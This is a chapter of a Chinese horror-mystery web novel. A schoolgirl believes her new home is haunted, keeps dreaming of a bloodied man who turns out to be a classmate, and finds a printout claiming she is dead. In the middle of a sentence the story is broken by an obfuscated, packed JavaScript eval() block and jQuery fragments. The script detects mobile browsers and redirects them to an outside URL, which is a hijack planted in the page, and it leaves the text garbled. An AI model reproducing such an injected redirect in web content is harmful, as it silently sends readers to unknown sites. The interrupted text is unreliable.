很多恐怖片的倒霉鬼都有一个特征：发生再多古怪的事也坚决不肯搬家。


    林冬橘怀疑，自己穿成了恐怖作品里的主角。


    证据一：搬进凶宅，但除了她，没人能发觉这里的不对劲。


    早餐桌上，母亲坐在对面，笑眯眯地递给她一杯鲜榨豆浆，催促她快吃完去上学。


    林冬橘问：“妈，你们昨晚上真没听到奇怪的声音？”


    “什么声音？”


    “大概凌晨两点半左右，咚地一下，超大声。”


    沈芸摇头：“没有啊，哪儿有什么声音。”


    林冬橘不死心追问：“还有男人说话的声音，嗡嗡嗡的听不清，很可疑啊。”


    “你这孩子，怎么成天胡思乱想胡说八道的，好好学习，少看鬼片。”沈芸嗔怪地瞪她一眼。


    林冬橘心里叹气。


    看，她没说错吧，她就是恐怖片里唯一一个能察觉到诡异的主角，所有人都不信她。


    西砂街阳光佳苑小区。


    上个月林冬橘全家搬来新家之后，她才知道这里原来是夏生市赫赫有名的凶宅之一，但凡有人盘点本市凶宅，她家小区必然榜上有名。


    林冬橘大致去了解了一下，越搜越心凉。


    传说阳光佳苑小区当初挖地基时不慎埋进去了几个工人，之后消息爆出来，房价一跌再跌，总有人半夜停车听见地下有奇怪的敲打声；


    传说阳光佳苑小区不吉利，每年总会有人出事，不是死亡就是生重病；


    还有传说，阳光佳苑小区在在建国前曾有一个恶鬼埋葬在此，会吸引人向它许愿，凡是许愿成功的人最后都会被恶鬼诅咒。


    一个比一个玄乎，太假了，假得像是在骗人。


    可是由不得林冬橘不信，这房子，的确古怪。


    自打她搬进来后，怪事就连连发生。


    先是乔迁那天，她的好朋友来家里玩，却在她家莫名被吓到，回去后她就发高烧了。


    没过多久，林冬橘自己中招，开始做噩梦、听见怪声看见怪象，可是全家除了她，没一个人觉得怪异，爸妈住得好好的，只觉得她在疑神疑鬼。


    “别在你爸面前提那些神神鬼鬼的，他听了又不高兴。”


    送林冬橘出门时，沈芸叮嘱。


    那有什么，反正爸爸总是不高兴。


    搬家之前，林建信找认识的从事房地产一行的朋友问过，结论是，当初几个工人出事是真的，闹鬼却是人云亦云。


    至于死人，“世界上哪块地皮上没死过成百上千人？大惊小怪。”这是林建信的原话。


    证据二：她的记忆断断续续，真真假假，她怀疑，自己根本不是林冬橘，可她又是谁呢？


    林建信唠叨林冬橘：“别再说闹鬼，当时不是你自己说想搬来这里的？”


    沈芸也在一旁帮腔：“是啊，你说这儿离学校近，离杨桃家近，小区环境好，要搬过来啊！”


    是吗？


    林冬橘听得一脸懵，她说过这样的话？她怎么一点也不记得？


    林建信是她父亲，沈芸是她母亲，她和他们一起生活在这个家里，他们一家人虽然偶有摩擦，但总体还算幸福快乐，可她看着他们，有时候会突然觉得疏离，记忆里一家人的画面，她总是少了些实感。


    一定是凶宅在影响她的记忆和感官。


    “别发愣了，快上学去。”沈芸帮她整理被书包肩带压皱的校服衬衫，笑得一脸温柔。


    母亲的手很柔软，她身上散发着温馨的香气，她的一切都那么熟悉，记忆中，她无数次这样送林冬橘出门。


    可她为什么会觉得陌生呢？好像那些画面，只是在她梦中出现的，和现实有种割裂感。


    貌似，恐怖片主角也会出现这种症状。


    林冬橘心塞地踏上上学的路。


    提到梦，还有证据三：搬家后，她开始频繁做同一个噩梦。


    梦里的感觉很可怕，当她醒来，却会遗忘梦境的很多细节。


    那好像是个杀人现场，有个死人在一个破旧的黑色楼梯上上来，下去，上来，下去……


    他的衣服和侧脸沾着血，非常瘆人，他只有一个背影，


    昨晚她半夜惊醒，趁热打铁用备忘录记下了噩梦关键词。


    【男人，刀，一地的血，月亮，楼梯，一半侧脸。】


    太抽象了，当事人本人也没办法破译这密码。


    这些是什么意思？


    从家到学校步行十分钟，她放慢脚步打字上网搜索。


    「求助！刚搬新家，老是梦见一个死人，有高人解梦吗？做这种梦有什么特殊含义吗？」


    走到校门口，她拿出手机看了眼，已经有了几十条回复。


    这届网友就是热心肠！


    ——死人是你还是别人？好吓人啊！


    ——刚搬家，做噩梦，你这要素齐全啊，晚上睡觉有没有听见奇怪的声音？赶紧打听打听，你这屋子怕是有问题。


    ——也不一定，杀人见血，也就是见红，往好处想这是你要红啊。


    ——梦见杀人，说明你心态紧绷压力大，别那么迷信，去医院神经内科挂个号比发帖强。


    ——今天引流明天破产，要带什么货你直接说，转运水晶？开光手串？


    ……


    她差点呛住，什么人，大清早的攻击性这么强？


    不过倒是提醒了她，实在不行，她就去医院看看，再去寺庙求个开光手串，医学玄学双管齐下。


    反正搬家是不可能的。


    两个星期前，林家之前的房子面临拆迁，她全家搬来林冬橘高中附近的小区，这房子是租下来的，想提前搬走得赔押金，林冬橘表示愿意用自己的零花钱补上。


    父母一开始同意了另找房子，可是奇怪得很，那些符合条件的房子，总会因为种种原因泡汤，要么是房东临时反悔，要么房子提前找到租客，有时还会碰到真·凶宅，有人在房子客厅里上吊自杀，房东隐瞒中介，还是林母问过邻居才知道。


    一番折腾下来，林父林母累了，林冬橘麻了：看来是这破房子在捣鬼，存心不想让他们搬出去。


    校门口人头攒动，她看了眼时间，离迟到只剩五分钟，她跟着汇入人群，不由得加快了脚步。


    踏入校门，经过一段林荫道就到教学楼，人群自动分流。


    她看见了一个有些眼熟的背影。


    怎么好像在哪里见过？


    “林林！”身后一股力道扑上来，来人亲昵地搂住她手臂。


    她微微喘气：“我在我爸车上就看见你了，在校门口叫你半天不理，走那么快干嘛。”


    “不是故意不理你，我在听歌。”冬橘把耳机摘下来，顺势关了音乐。


    等再想找那个身影已经迟了，刚才杨桃一打岔，脑子里的些微灵感成了汇入海里的鱼，怎么也找不见了。


    冬橘眼睛都看得发酸，她揉了揉，暂时放弃。


    杨桃：“你在看什么？”


    “没，”林冬橘还是很在意，“好像看见了一个眼熟的人。”


    杨桃挽住林冬橘，凑近了，紧张兮兮地问：“你这个表情，怎么这么沉重？”


    “跟你说哦，”林冬橘压低声音，“那房子好像真的有鬼。”


    杨桃小脸煞白，吓得一把推开林冬橘：“你、你别吓我！”


    她很怕这些，林冬橘爱看恐怖片，但杨桃从不敢跟她一起看。


    林冬橘的目光锁定她的脸，属于她的印象标签一个个在她脑海里跳出来。


    杨桃，她的发小，她们从小学一年级就认识了，初中高中都在同一所学校，她爱笑，活泼热情，身体不太好，经常请假，她还有点胆小，最害怕听鬼故事。


    也是她最好的朋友。


    可是好奇怪，她竟然不记得有和杨桃闹过矛盾，她们认识十年了，居然一次都没吵过架，简直太完美了，完美到有点不真实。


    希望是她的错觉吧，都怪住在凶宅，害她越来越神经质，看什么都不正常。


    刚迈进教学楼，她冷不丁想起来，整个人在原地呆住一秒。


    对了！是在那个梦里！难怪她觉得眼熟，刚才看到的可不就是梦中人的背影吗？


    他的侧脸从楼梯的夹角处一闪而过，但是足够让冬橘认出来了，就是他！


    他们秋冬的校服是靛蓝色的，上面印着浅色的月亮logo，这是新月中学的标志。


    梦境和现实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428892|153854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的片段在无限重叠，冬橘甚至恍惚了一下，手臂起了一层鸡皮疙瘩，她突然发冷。


    这种感觉好诡异。


    “怎么了你？”杨桃拍了拍她，“小橘？”


    冬橘其实不喜欢别人这么叫她，感觉像在叫一只肥猫，但现在她自动忽略掉，抓住杨桃的手，示意她看楼梯：“那男生是谁？”


    “你说谁？”


    林冬橘拽起杨桃小跑上楼，指着男生的背影。


    杨桃不可置信：“他钟斯与啊，你不认识他？”


    冬橘怔住：“那个转学生？”


    “他高一转学，还转学呢？你这记性啊。”杨桃鄙视地看着她，仿佛她才是那个刚转学来的。


    走在教室门口，杨桃笑嘻嘻地拍了拍冬橘背包上的苹果毛绒挂件，先一步进去，她步伐欢快，手机上的同款苹果挂件一晃一晃。


    这是去年林冬橘生日那天，杨桃送她的小礼物，闺蜜款，那一天冬橘印象很深刻，她在回家路上，撞上了钟斯与。


    物理意义上的“撞”，她在回消息，他失魂落魄，两人碰碰车一样撞上，她摔了手机，然后对上了他恶狠狠的眼神。


    那个眼神，就像是刚杀过人。


    冬橘认出他，还以为自己看错，等回过神他已经走远，连自己掉了东西都不知道。


    之后她才得知，那天晚上钟斯与家出了事，他的哥哥死了。


    晚上放学回到家，整间屋子暗惶惶的，父母已经睡了，她轻手轻脚走在木制楼梯上，感觉家里像是一座灭了烛火的坟墓。


    洗澡的时候，她又听到了奇怪的声音。


    二楼的浴室靠近她卧室，她一人独享。


    父母都睡了，平时这个点他们也不会再上来，她可以尽情享受这个让大脑放空的时间。


    在哗啦啦的水声中她有些忘记了时间，正美滋滋小声哼着歌，突然听见“咚”地一声。


    冬橘：？


    她的小心脏差点吓飞出来，她全神贯注仔细去听，似乎有脚步声在二楼走廊上。


    走过来，走过去。


    走过来，走过去……


    “妈妈？”她试探地喊了一声。


    外头没人应声，脚步声也停了，她直觉不是沈芸，这个脚步声听上去非常陌生，更快，更重，更年轻。


    她赶紧擦干净出来，走廊上连个人影子都没有。


    有鬼？


    哪里？


    她蹑手蹑脚走进卧室，手搭在衣柜门上，猛地一下子打开——


    还好还好，里面只有衣服，没有什么大白脸红眼睛长头发。


    但很快，林冬橘发现了另一个问题。


    洗澡前她摘下来放在书桌上的发圈不见了。


    “……”


    她找过了，浴室没有，床头柜没有，书桌上没有，床底下……


    算了，大晚上的，她不太敢往下瞅。


    “咔哒。”


    她关上房间大灯准备睡觉，突然响起的一声吓人一跳。


    很快她找到了声音的源头，书桌上打印机蓝色的指示灯亮着，发出工作时的嗡鸣。


    原来是打印机。


    可是她没有打印东西啊，难道是爸爸……


    只是转念一想的时间，一张纸伴随着淡淡的油墨气味新鲜出炉。


    林冬橘迟疑了一下，还是决定过去看看。


    大概是机器故障，总不至于发生什么打印机杀人事件吧？


    可等她走到打印机面前，它却仍在工作，孜孜不倦地发出机器噪声挑战她的耐心。


    什么鬼？


    林冬橘正要拿起一张来看看，忽而窗外吹进一阵风，打印机上的纸张吹得乱飞，其中一张直接扑到她脸上。


    她飞快地接下来，借着窗外幽幽的冷光，她一眼扫到纸上那一行黑体的大标题：


    「林冬橘真的死了吗？好可怕啊啊啊啊啊！」


    林冬橘：？


    她确认了一下，真的是林、冬、橘三个字没错，而且这个页面，分明就是新月中学的学生论坛。


    她，死了？


    啊啊啊啊啊啊啊！！这是什么打印机灵异事件？


    她手指哆嗦着将这张“深夜催命符”甩飞了出去。